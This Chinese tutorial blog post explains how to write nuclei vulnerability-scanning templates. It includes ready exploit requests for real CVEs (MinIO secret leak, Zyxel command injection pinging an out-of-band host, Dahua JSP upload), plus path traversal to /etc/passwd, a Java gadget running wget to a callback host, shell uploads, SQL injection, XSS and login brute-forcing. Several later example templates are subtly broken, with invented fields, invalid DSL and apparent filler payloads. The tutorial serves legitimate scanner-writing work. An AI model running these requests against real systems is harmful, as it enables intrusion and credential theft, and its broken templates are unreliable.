nuclei模板编写总结

一、脚本的语法格式

  • 大小写敏感
  • 缩进:使用缩进表示层级关系,YAML 使用空格进行缩进,通常每个缩进级别为两个空格
  • 键值对:YAML 通过键值对来存储数据,键和值之间用冒号 : 分隔。
  • 列表:使用短横线 -来表示列表中的项。
  • 注释:以 # 开头的行是注释。
  • 字符串:字符串可以不使用引号,也可以使用单引号或双引号
  • id不能有中文、特殊字符、--以及空格等内容,id这个参数,您可以理解为是输出的标题,一个简单易懂的ID,可以让您更快的判断出
  • info:信息块,名称 、 作者 、 严重性 、 描述 、参考和 标签 ,这些都属于信息块的范围,一般情况下,我们只需要写入名称、作者、严重性、描述、标签这几项即可
  • name:模板名称,这个建议跟id相同即可
  • severity:严重性,这里不可以使用中文,一般用critical、hight、Medium、info来表示威胁等级
  • description:漏洞介绍,这里可以使用中文,也不限制特殊字符,一般是用来做漏洞介绍用的,可以方便使用者了解该漏洞的具体说明
  • tags:标签,是为了给漏洞加一个标签,方便进行统一扫描,例如:tags: seeyon(切记不要用中文哈)
  • 日常编写nuclei的yaml脚本,nuclei内置cookie-reuse属性,在发起多个请求时,需要保持会话,可以添加cookie-reuse: true来保持多个请求时会话得到保持,这在有身份验证时很有用。
  • 如果匹配失败的话可以使用-debug来获取请求包和返回包进行调试,使用Burp抓包直接将请求包内容粘贴即可

二、Nuclei常用命令

 1.验证模板格式
 nuclei -t test.yaml --validate
 2.指定模板和目标
 nuclei -t test.yaml -u http://exam.com
 3.批量扫描
 nuclei -t test.yaml -l target.txt
 4.指定socks5代理扫描
 nuclei -t test.yaml -u http://exam.com -p socks5://127.0.0.1:7890
 

三、脚本示例

id: file-include   #模板的唯一标识符
 info:   #包含模板的基本信息,如名称、作者、版本等
   name: file include                          #脚本的名字
   author: bakclion                   #模板作者
   severity: high                         #安全级别  可选的有 info, low, medium, high, critical, unknown
   description: 用于测试靶场的nuclei模板    #描述模板内容
   reference: http://www.baidu.com        #参考来源
   tags: test                             #分类的标签
 requests:  #定义了如何与目标进行交互的请求部分
   - method: GET  #HTTP 方法,如 GET 或 POST
     path:  #请求的路径
       - "{{BaseURL}}/vul/dir/dir_list.php?title=../../../../../../../etc/passwd"
     headers: #请求头
         User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
     matchers:
       - type: status #匹配回包状态
         status:
           - 200
       - type: regex #匹配返回内容
         part: body
         regex:
           - "root:x:0:0:root:/root:/bin/bash"

四、脚本组成

1.开头
 
id: landray-oa-fileread
 
 info:
   name: landray-oa-fileread
   author: backlion
   severity: high
   description: |
     蓝凌OA custom.jsp 任意文件读取漏洞,这个OA遇到的比较少
     FOFA: app="Landray-OA系统"
   reference: https://github.com/backslion
   tags: fileread,landray
2.请求
Get
requests:
   - method: GET
     path:
       - "{{BaseURL}}/seeyon/webmail.do?method=doDownloadAtt&filename=index.jsp&filePath=../conf/datasourceCtp.properties"
POST
 requests:
   - method: POST
     path:
       - "{{BaseURL}}/sys/ui/extend/varkind/custom.jsp"
     headers:
       Content-Type: application/x-www-form-urlencoded
     body: 'var={"body":{"file":"file:///etc/passwd"}}'
RAW
 requests:
   - raw:
       - |
         POST /ispirit/interface/gateway.php HTTP/1.1
         Host: {{Hostname}}
         Content-Type: application/x-www-form-urlencoded
 
         json={"url":"/general/../../mysql5/my.ini"}
跳转
  - method: GET
     path:
       - "{{BaseURL}}"
     redirects: true
     max-redirects: 2
     
     或者
     
     
 requests:
   - raw:
       - |
         GET /zentao/api-getModel-editor-save-filePath=bote HTTP/1.1
         redirects: true
          max-redirects: 3
路径

请求的下一部分是请求的路径。动态变量可以放置在路径中以在运行时修改其行为。变量以开头{{和}}结尾并且区分大小写。

 {{Hostname}}:这是一个常用的保留字,表示主机名。
 {{randstr}}:这是一个随机字符串。
 {{rand_int(1,9999)}}:这是一个生成 1 到 9999 之间随机整数的保留字。
 {{BaseURL}}:表示完整的基本 URL,例如 https://example.com:443/foo/bar.php。
 {{RootURL}}:表示不包含路径和文件的基本 URL,例如 https://example.com:443。
 {{Host}}:表示主机名,例如 example.com。
 {{Port}}:表示端口号,例如 443。
 {{Path}}:表示路径,例如 /seeyon/login。
 {{File}}:表示文件名,例如 bar.php。
 {{Scheme}}:表示协议,例如 https。
 {{hex_decode("")}}:这是一个十六进制解码的保留字。
 md5():这是一个 MD5 转换的保留字
 Variable  Value
 {{BaseURL}}  https://example.com:443/foo/bar.php
 {{RootURL}}  https://example.com:443
 {{Hostname}}  example.com:443
 {{Host}}  example.com
 {{Port}}  443
 {{Path}}  /foo
 {{File}}  bar.php
 {{Scheme}}  https
stop-at-first-match

大意就是一个模板里有多个扫描路径,当第一个命中时,自动停止后面几个路径的扫描,当然这个不会影响其他模板.

 
requests:
   - method: GET
     path:
       - "{{BaseURL}}"
       - "{{BaseURL}}/login"
       - "{{BaseURL}}/main"
       - "{{BaseURL}}/index"
 
     stop-at-first-match: true     
OOB

自 Nuclei v2.3.6 发行以来,Nuclei 支持使用 interact.sh API 内置自动请求关联来实现基于 OOB 的漏洞扫描。就像 {{interactsh-url}} 在请求中的任何位置编写并为添加匹配器一样简单 interact_protocol。Nuclei 将处理交互作用与模板的相关性,以及通过允许轻松进行 OOB 扫描而生成的请求的相关性。

 requests:
   - raw:
       - |
         GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1
         Host: {{Hostname}}
JAVA反序列化
 
raw:
   -  |
     POST /index.faces;jsessionid=x HTTP/1.1
     Host: {{Hostname}}
     Accept-Encoding: gzip, deflate
     Content-Length: 1882
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
     Connection: close
     Content-Type: application/x-www-form-urlencoded
 
     javax.faces.ViewState={{generate_java_gadget("commons_collection3.1", "nslookup {{interact.sh}}", "base64")}}
3.匹配器
matchers-condition: and #对多个匹配器的匹配结果进行逻辑运算:and|or,AND是同时满足条件
 matchers:
   - type: dsl #匹配器类型  <status|word|size|binary|regex|dsl>
     dsl: #使用 DSL 语法进行数据匹配(!注:更加灵活,复杂匹配,推荐使用)  <StringSlice>
       - "status_code_1 == 200 && status_code_2 == 302"
       - 'all_headers_1 == "admin" && all_headers_2 == "index"'
     condition: and #需要同时满足上面两个条件
 
   - type: word
     words: #返回包匹配文本(!!!注:word类型此处较为特殊,需要使用words做匹配项录入)  <StringSlice>
       - "admin.php"
       - "61646d696e2e706870"
       - "{{match_str}}"
     encoding: hex #编码器,对返回提取数据进行编码后对word内容进行匹配(!!!注:仅支持word匹配器,暂仅只支持hex)  <hex>
     #以下设置,基本通用(!!!注:除dsl类型)
     part: header #读取返回数据的区域  <header|body|无设置代表全匹配|interactsh_protocol|interactsh_request(!注:dnslog服务器返回数据,需要在发包中配合{{interactsh-url}}使用>
     condition: or #匹配结果逻辑运算  <and|or>
     negative: true #对匹配结果进行取反操作,结合condition可实现更为灵活的组合方式  <true|false>
 
   - type: status
     status: #与匹配器类型一致,当前为返回包状态码  <intSlice>,200或302
       - 200
 
   - type: regex
     regex: #使用正则进行数据匹配  <StringSlice>
       - '.*\admin.php.*'
 
   - type: binary
     binary: #使用二进制进行数据匹配  <StringSlice>
       - "61646d696e2e706870"
 
   - type: size
     size: #返回包数据大小(注:通指body数据)  <intSlice>
       - 1234

dsl 一般用于复杂的逻辑判断,其中包含以下内置函数。

变量名描述例子输出数据
content_length内容长度标头content_length12345
status_code响应状态代码status_code200
all_headers返回 header 信息  
body返回 body 信息body_1 
header_name返回 header 的 key value 信息,全小写,且-替换为_user_agentxxxx
header_name返回 header 的 key value 信息,全小写,且-替换为_set_cookiexxx=xxxx
raw原始的返回信息(标头+响应)raw 
duration请求响应时间duration5

如:

 #检查响应的大小是否大于1000字节
 matchers:
   - size: ">1000"
 
 #匹配包含 “error” 关键词的响应
 matchers:
   - word: "error"
 
 #匹配响应中的版本号:
 matchers:
   - regex: "Version: (\\d+\\.\\d+\\.\\d+)"
   
 #如果期望响应的前两个字节是 0x01 0x02:
 matchers:
   - binary: "0102"
 
 #匹配 HTTP 响应码为 200 的情况:
 matchers:
   - dsl: "response_code == 200"
4.Session

在发起多个请求时,需要保持会话,可以添加cookie-reuse: true来保持多个请求时会话得到保持,这在有身份验证时很有用。

 # cookie-reuse accepts boolean input and false as default
 cookie-reuse: true
4.提取器
 
#提取器,对返回数据进行提取,用于再利用及发送至控制台进行显示或使用,语法与匹配器相似
 extractors:
   - type: regex #提取器类型  <regex|json|kval|xpath|dsl>
     regex: #使用regex语法进行数据提取(!注:推荐使用)  <StringSlice>
       - "token:(.*) "
     group: 1 #特定regex使用,0是完全匹配,1-N为获取分组数据(!!!注:注意长度须符合正则分组长度)  <Int>
     #以下设置,基本通用
     part: body #设置提取数据的区域  <header|body|无设置代表全匹配|interactsh_protocol|interactsh_request(!注:dnslog服务器返回数据,需要在发包中配合{{interactsh-url}}使用>
     name: token #设置当前提取数据存储变量名  <String>
     internal: true #设置将提取器用作动态变量,防止发送控制台后变量清空  <true|false>
 
   - type: json
     json: #基于 JSON 的响应中提取数据  <StringSlice>
       - ".token"
 
   - type: kval
     kval: #从响应标头/Cookie 中提取key: value/key=value格式化数据(!!!注:kval提取器不接受破折号-作为输入,必须替换为下划线_)  <StringSlice>
       - "set_cookie"
       - "PHPSESSID"
 
   - type: xpath
     xpath: #从 HTML 响应中提取基于 xpath 的数据  <StringSlice>
       - "/html/body/div/p[2]/a"
     attribute: href #特定xpath使用,要提取的属性值,可选
 
   - type: dsl
     dsl: #使用 DSL 表达式从响应中提取数据
       - "len(body)

如:

 extractors:
   - regex: #正则表达式提取
       pattern: "Version: (\\d+\\.\\d+\\.\\d+)"
       target: version
 
 extractors:#json提取
   - json:
       path: .user.name
       target: username
       
 extractors:#xpath提取
   - xpath:
       expression: //img/@src
       target: image_url
   
5.Nuclei 内置函数
    
辅助函数描述例子输出数据
base64(src interface{}) stringBase64 对字符串进行编码base64("Hello")SGVsbG8=
base64_decode(src interface{}) []byteBase64 对字符串进行解码base64_decode("SGVsbG8=")[72 101 108 108 111]
base64_py(src interface{}) string像 python 一样将字符串编码为 base64(带有新行)base64_py("Hello")SGVsbG8=\n
concat(arguments …interface{}) string连接给定数量的参数以形成一个字符串concat("Hello", 123, "world)Hello123world
compare_versions(versionToCheck string, constraints …string) bool将第一个版本参数与提供的约束进行比较compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')true
contains(input, substring interface{}) bool验证字符串是否包含子字符串contains("Hello", "lo")true
generate_java_gadget(gadget, cmd, encoding interface{}) string生成 Java 反序列化小工具generate_java_gadget("commons-collections3.1","wget http://{{interactsh-url}}", "base64") 
gzip(input string) string使用 GZip 压缩输入gzip("Hello") 
gzip_decode(input string) string使用 GZip 解压缩输入gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))Hello
zlib(input string) string使用 Zlib 压缩输入zlib("Hello") 
zlib_decode(input string) string使用 Zlib 解压缩输入zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))Hello
date(input string) string返回格式化的日期字符串date("%Y-%M-%D")2022-05-01
time(input string) string返回格式化的时间字符串time("%H-%M")22-12
timetostring(input int) string返回格式化的 unix 时间字符串timetostring(1647861438)2022-03-21 16:47:18 +0530 IST
hex_decode(input interface{}) []byte十六进制解码给定的输入hex_decode("6161")aa
hex_encode(input interface{}) string十六进制编码给定的输入hex_encode("aa")6161
html_escape(input interface{}) stringHTML 转义给定的输入html_escape("test")test
html_unescape(input interface{}) stringHTML 取消转义给定的输入html_unescape("<body>test</body>")test
len(arg interface{}) int返回输入的长度len("Hello")5
md5(input interface{}) string计算输入的 MD5(消息摘要)哈希md5("Hello")8b1a9953c4611296a827abf8c47804d7
mmh3(input interface{}) string计算输入的 MMH3 (MurmurHash3) 哈希mmh3("Hello")316307400
print_debug(args …interface{})打印给定输入或表达式的值。用于调试。print_debug(1+2, "Hello")[INF] print_debug value: [3 Hello]
rand_base(length uint, optionalCharSet string) string从可选字符集生成给定长度字符串的随机序列(默认为字母和数字)rand_base(5, "abc")caccb
rand_char(optionalCharSet string) string从可选字符集中生成随机字符(默认为字母和数字)rand_char("abc")a
rand_int(optionalMin, optionalMax uint) int在给定的可选限制之间生成一个随机整数(默认为 0 - MaxInt32)rand_int(1, 10)6
rand_text_alpha(length uint, optionalBadChars string) string生成给定长度的随机字母字符串,不包括可选的割集字符rand_text_alpha(10, "abc")WKozhjJWlJ
rand_text_alphanumeric(length uint, optionalBadChars string) string生成一个给定长度的随机字母数字字符串,没有可选的割集字符rand_text_alphanumeric(10, "ab12")NthI0IiY8r
rand_text_numeric(length uint, optionalBadNumbers string) string生成给定长度的随机数字字符串,没有可选的不需要的数字集rand_text_numeric(10, 123)0654087985
regex(pattern, input string) bool针对输入字符串测试给定的正则表达式regex("H([a-z]+)o", "Hello")true
remove_bad_chars(input, cutset interface{}) string从输入中删除所需的字符remove_bad_chars("abcd", "bc")ad
repeat(str string, count uint) string重复输入字符串给定的次数repeat("../", 5)../../../../../
replace(str, old, new string) string替换给定输入中的给定子字符串replace("Hello", "He", "Ha")Hallo
replace_regex(source, regex, replacement string) string替换与输入中给定正则表达式匹配的子字符串replace_regex("He123llo", "(\\d+)", "")Hello
reverse(input string) string反转给定的输入reverse("abc")cba
sha1(input interface{}) string计算输入的 SHA1(安全哈希 1)哈希sha1("Hello")f7ff9e8
sha256(input interface{}) string计算输入的 SHA256(安全哈希 256)哈希sha256("Hello")185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969
to_lower(input string) string将输入转换为小写字符to_lower("HELLO")hello
to_upper(input string) string将输入转换为大写字符to_upper("hello")HELLO
trim(input, cutset string) string返回一个输入切片,其中包含在 cutset 中的所有前导和尾随 Unicode 代码点都已删除trim("aaaHelloddd", "ad")Hello
trim_left(input, cutset string) string返回一个输入切片,其中包含在 cutset 中的所有前导 Unicode 代码点都已删除trim_left("aaaHelloddd", "ad")Helloddd
trim_prefix(input, prefix string) string返回没有提供的前导前缀字符串的输入trim_prefix("aaHelloaa", "aa")Helloaa
trim_right(input, cutset string) string返回一个字符串,其中包含在 cutset 中的所有尾随 Unicode 代码点都已删除trim_right("aaaHelloddd", "ad")aaaHello
trim_space(input string) string返回一个字符串,删除所有前导和尾随空格,由 Unicode 定义trim_space(" Hello ")“Hello”
trim_suffix(input, suffix string) string返回没有提供的尾随后缀字符串的输入trim_suffix("aaHelloaa", "aa")aaHello
unix_time(optionalSeconds uint) float64返回当前 Unix 时间(自 1970 年 1 月 1 日 UTC 以来经过的秒数)以及添加的可选秒数unix_time(10)1639568278
url_decode(input string) stringURL 解码输入字符串url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1") 
url_encode(input string) stringURL 对输入字符串进行编码url_encode("https://test.com?id=1") 
wait_for(seconds uint)暂停执行给定的秒数wait_for(10)true
to_number(input string) float64将数字型字符串转换为 float64 类型to_number("123456")123456
to_string(input interface{}) string将数据转换为字符串类型to_string(123456)“123456”
rand_ip(input string)根据输入网段随机返回一个 ip 地址rand_ip("192.168.1.1/24") 

五、脚本案例

id: CVE-2023-28432 
 
 info:
   name: MinIO集群模式信息泄露漏洞
   author: kecy
   severity: medium
   description: |
     MinIO是一个开源对象存储系统。在其RELEASE.2023-03-20T20-16-18Z版本(不含)以前,集群模式部署下存在一处信息泄露漏洞,攻击者可以通过发送一个POST数据包获取进程所有的环境变量,其中就包含账号密码MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。
   reference:
     - https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
   tags: minio,cve,cve2023
 
 http:
   - raw:
       - |
         POST /minio/bootstrap/v1/verify HTTP/1.1
         Host: {{Hostname}} 
         Accept-Encoding: gzip, deflate
         Accept: */*
         Accept-Language: en-US;q=0.9,en;q=0.8
         User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
         Connection: close
         Cache-Control: max-age=0
         Content-Type: application/x-www-form-urlencoded
         Content-Length: 0
 
     matchers-condition: and
     matchers:
       - type: word
         part: body
         words:
           - 'MINIO_SECRET_KEY'
           - 'MINIO_ROOT_PASSWORD'
         condition: and 
 
       - type: status
         status:
           - 200
 
id: CVE-2022-30525
 
 info:
   name: Zyxel 防火墙未经身份验证的远程命令注入
   author: kecy
   severity: high
   description: |
     CVE-2022-30525中,Zyxel防火墙版本的CGI程序中,由于对某些传入的特殊数据处理存在错误,攻击者在未经身份验证的情况下通过构造恶意数据进行系统命令注入攻击,修改特定文件,最终执行任意代码。
   reference:
     - https://blog.csdn.net/weixin_43080961/article/details/124776553
   tags: Zyxel,cve,cve2022
 
 http:
   - raw:
       - |
         POST /ztp/cgi-bin/handler HTTP/1.1
         Host: {{Hostname}}
         User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
         Content-Type: application/json
         Connection: close
         
         {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"{{exploit}}","data":"hi"}
     
     payloads:
       exploit:
         - ";ping -c 3 {{interactsh-url}};"
 
     matchers:
       - type: word
         part: interactsh_protocol
         name: dns
         words:
           - "dns"
 id: CVE-2023-3836 #模板的唯一标识符
 
 info: #模板的基本信息
   name: Dahua Smart Park Management - Arbitrary File Upload  #模板的名称
   author: HuTa0 #模板作者名
   severity: critical #漏洞的严重程度
   description: | #漏洞的详细描述
     Dahua wisdom park integrated management platform is a comprehensive management platform, a park operations,resource allocation, and intelligence services,and other functions, including/emap/devicePoint_addImgIco?.
   remediation: | #修复建议,可以不写
     Apply the latest security patch or update provided by the vendor to fix the arbitrary file upload vulnerability.
   reference: #漏洞相关的参考链接
     - https://github.com/qiuhuihk/cve/blob/main/upload.md
     - https://nvd.nist.gov/vuln/detail/CVE-2023-3836
     - https://vuldb.com/?ctiid.235162
     - https://vuldb.com/?id.235162
   classification: #漏洞的分类信息,包括CVSS评分、CVE-ID、CWE-ID等
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2023-3836
     cwe-id: CWE-434
     epss-score: 0.04304
     epss-percentile: 0.91215
     cpe: cpe:2.3:a:dahuasecurity:smart_parking_management:*:*:*:*:*:*:*:*
   metadata: #额外的元数据信息
     verified: true
     max-request: 2
     vendor: dahuasecurity
     product: smart_parking_management
     shodan-query: html:"/WPMS/asset"
     zoomeye-query: /WPMS/asset
   tags: cve,cve2023,dahua,fileupload,intrusive,rce #模板的标签
 variables:
   random_str: "{{rand_base(6)}}" #生成一个随机的6位字符串
   match_str: "{{md5(random_str)}}" #对生成的随机字符串进行MD5哈希,以便在后续请求中进行匹配
 
 http:
   - raw:
       - |
         POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
         Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
         Host: {{Hostname}}
 
         --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
         Content-Disposition: form-data; name="upload"; filename="{{random_str}}.jsp"
         Content-Type: application/octet-stream
         Content-Transfer-Encoding: binary
 
         {{match_str}}
         --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--
       - |
         GET /upload/emap/society_new/{{shell_filename}} HTTP/1.1
         Host: {{Hostname}}
 
     matchers:#匹配器
       - type: dsl #dsl: 定义了两个DSL匹配条件,要求两个条件都必须满足(使用condition: and)
         dsl:
           - "status_code_1 == 200 && status_code_2 == 200"
           - "contains(body_2, '{{match_str}}')"
         condition: and
 
     extractors: #提取器
       - type: regex  #使用正则表达式进行提取
         name: shell_filename #提取的名称,内部使用
         internal: true
         part: body_1  #提取响应的哪个部分,这里是body_1(第一个请求的响应体)
         regex:
           - 'ico_res_(\w+)_on\.jsp'  #提取规则,这里是正则表达式'ico_res_(\w+)_on\.jsp'

六、典型场景

1.命令执行
 
id: remote-command-execution  #模板的唯一标识符
 
 info: #包含关于模板的基本信息
   name: Remote Command Execution  #模板的名称
   author: backlion #模板作者的名称
   severity: critical #漏洞的严重程度
   description: |  ##描述模板内容
     默默存在远程命令执行漏洞
     FOFA: app="Landray-OA系统"
   reference: https://github.com/backslion #参考来源
   tags: rce, remote, command, execution #标签,用于标记模板的类型或用途
 
 requests: #定义了用于测试的HTTP请求,这里可以用http代替
   - raw: #原始HTTP请求数据
       - |
         POST /vulnerable-endpoint HTTP/1.1  #请求方法和URL
         Host: {{Hostname}}  #目标主机名
         Content-Type: application/x-www-form-urlencoded
         Content-Length: 50
 
         cmd=whoami
     matchers:  #定义了如何判断响应是否表示漏洞存在
       - type: word  #匹配规则为关键字
         words:  #响应中预期包含的关键词
           - "root"
           - "admin"
           - "user"
         part: body   # 检查响应的body
 
     extractors:  #定义了如何从响应中提取有用的信息
       - type: regex  #提取正则表达式
         regex: #用于匹配响应中有用信息的正则表达式,比如root|admin|user
           - "root|admin|user"
         part: body #从响应的哪个部分提取信息,这里是body(响应体)

         
 批量检查:
 nuclei -t rce-template.yaml -l url.txt
 
2.sql延时注入
 
id: sql-time-based-injection
 
 info:
   name: SQL Time-Based Injection
   author: bakclion
   severity: high
   tags: sql, sqli, time-based, injection
 
 requests:
   - raw:
       - |
         GET /vulnerable-endpoint?id=1%20AND%20IF(1=1,SLEEP(5),0) HTTP/1.1
         Host: {{Hostname}}
     matchers:
       - type: dsl
         dsl:
           - response.time > 5000
 
   - raw:
       - |
         GET /vulnerable-endpoint?id=1%20AND%20IF(1=2,SLEEP(5),0) HTTP/1.1
         Host: {{Hostname}}
     matchers: #匹配器的类型,这里是dsl
       - type: dsl #自定义匹配规则,通过DSL(领域特定语言)来描述匹配逻辑
         dsl:
           - response.time < 5000
3.任意文件读取
 
id: arbitrary-file-read
 
 info:
   name: Arbitrary File Read
   author: backlion
   severity: high
   tags: file-read, lfi, rfi, arbitrary-read
 
 requests:
   - raw:
       - |
         GET /vulnerable-endpoint?file=/etc/passwd HTTP/1.1
         Host: {{Hostname}}
     matchers:
       - type: word
         words:
           - "root:x:0:0:"   # /etc/passwd中典型的root用户行
         part: body
 
   - raw:
       - |
         GET /vulnerable-endpoint?file=C:\Windows\System32\drivers\etc\hosts HTTP/1.1
         Host: {{Hostname}}
     matchers:
       - type: word
         words:
           - "127.0.0.1"   # Windows hosts文件中典型的内容
         part: body
4.跨站脚本攻击
 id: reflected-xss
 
 info:
   name: Reflected Cross-Site Scripting
   author: backlion
   severity: high
   tags: xss, reflected
 
 requests:
   - raw:
       - |
         GET /vulnerable-endpoint?input=<script>alert('XSS')</script> HTTP/1.1
         Host: {{Hostname}}
     matchers:
       - type: word
         words:
           - "<script>alert('XSS')</script>"
         part: body
 
   - raw:
       - |
         GET /vulnerable-endpoint?input=%3Cscript%3Ealert('XSS')%3C/script%3E HTTP/1.1
         Host: {{Hostname}}
     matchers:
       - type: word
         words:
           - "<script>alert('XSS')</script>"
         part: body
5.反序化
 id: deserialization-vulnerability
 
 info:
   name: Deserialization Vulnerability
   author: backlion
   severity: high
   tags: deserialization, rce
 
 requests:
   - raw:
       - |
         POST /vulnerable-endpoint HTTP/1.1
         Host: {{Hostname}}
         Content-Type: application/x-java-serialized-object
         Content-Length: 112
 
         rO0ABXNyABNqYXZhLnV0aWwuSGFzaE1hcBv7h1vlAAAAAAFMAARrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAAR2YWx1ZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hyABFqYXZhLmxhbmcuSGFzaE1hcBVzRlfdMzNFwAIAAUwABGNsb2NrSABMTGphdmEvbGFuZy9DbG9jaztMABBtYXBfZXhwbG9yZXJ0ABBMamF2YS91dGlsL01hcDt4cHcEAAAAAHh0ABR3b3Jrc0ZpbmUAAA==  # This is a simple example payload
     matchers:
       - type: word
         words:
           - "java.util.HashMap"
         part: body
 
   - raw:
       - |
         POST /vulnerable-endpoint HTTP/1.1
         Host: {{Hostname}}
         Content-Type: application/x-java-serialized-object
         Content-Length: 116
 
         rO0ABXNyABFqYXZhLnV0aWwuQXJyYXlMaXN0JTDnUphBOwGAAeEdAAZpblRhbmxlUgxBZXguU3lzdGVtcxkAAA0BAAF4cHcEAAAAAHhxAH4AAQ==  # This is another example payload
     matchers:
       - type: word
         words:
           - "java.util.ArrayList"
         part: body
6.文件上传
 id: file-upload-php-execution
 
 info:
   name: File Upload and PHP Execution Vulnerability
   author: backlion
   severity: critical
   tags: file-upload, php, execution
 
 requests:
   - raw:
       - |
         POST /vulnerable-endpoint HTTP/1.1
         Host: {{Hostname}}
         Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
         Content-Length: 251
 
         ------WebKitFormBoundary7MA4YWxkTrZu0gW
         Content-Disposition: form-data; name="file"; filename="shell.php"
         Content-Type: application/x-php
 
         <?php echo 'Vulnerable'; unlink(__FILE__); ?>
         ------WebKitFormBoundary7MA4YWxkTrZu0gW--
 
     matchers:
       - type: word
         words:
           - "File uploaded successfully"
         part: body
 
   - raw:
       - |
         GET /uploads/shell.php HTTP/1.1
         Host: {{Hostname}}
 
     matchers:
       - type: word
         words:
           - "Vulnerable"
         part: body

 也可以用:
 <?php echo md5('漏洞编号');unlink(__FILE__); ?>
7.弱密码
 
id: weak-password-dictionary
 
 info:
   name: Weak Password Detection with Dictionary
   author: backlion
   severity: high
   tags: weak-password, authentication, login
 
 requests:
   - raw:
       - |
         POST /login HTTP/1.1
         Host: {{Hostname}}
         Content-Type: application/x-www-form-urlencoded
       payloads:
         usernames: "{{usernames.txt}}"
         passwords: "{{passwords.txt}}"
       matchers-condition: and
       matchers:
         - type: word
           words:
             - "Welcome"
             - "Dashboard"
           part: body
       attack: pitchfork
       generators:
         - name: username
           type: template
           templates:
             - "{{usernames}}"
         - name: password
           type: template
           templates:
             - "{{passwords}}"
       request:
         - |
           POST /login HTTP/1.1
           Host: {{Hostname}}
           Content-Type: application/x-www-form-urlencoded
           Content-Length: {{len "username=admin&password=admin"}}
 
           username={{username}}&password={{password}}
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

渗透测试中心

各位师傅,觉得文章不错可支持下

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值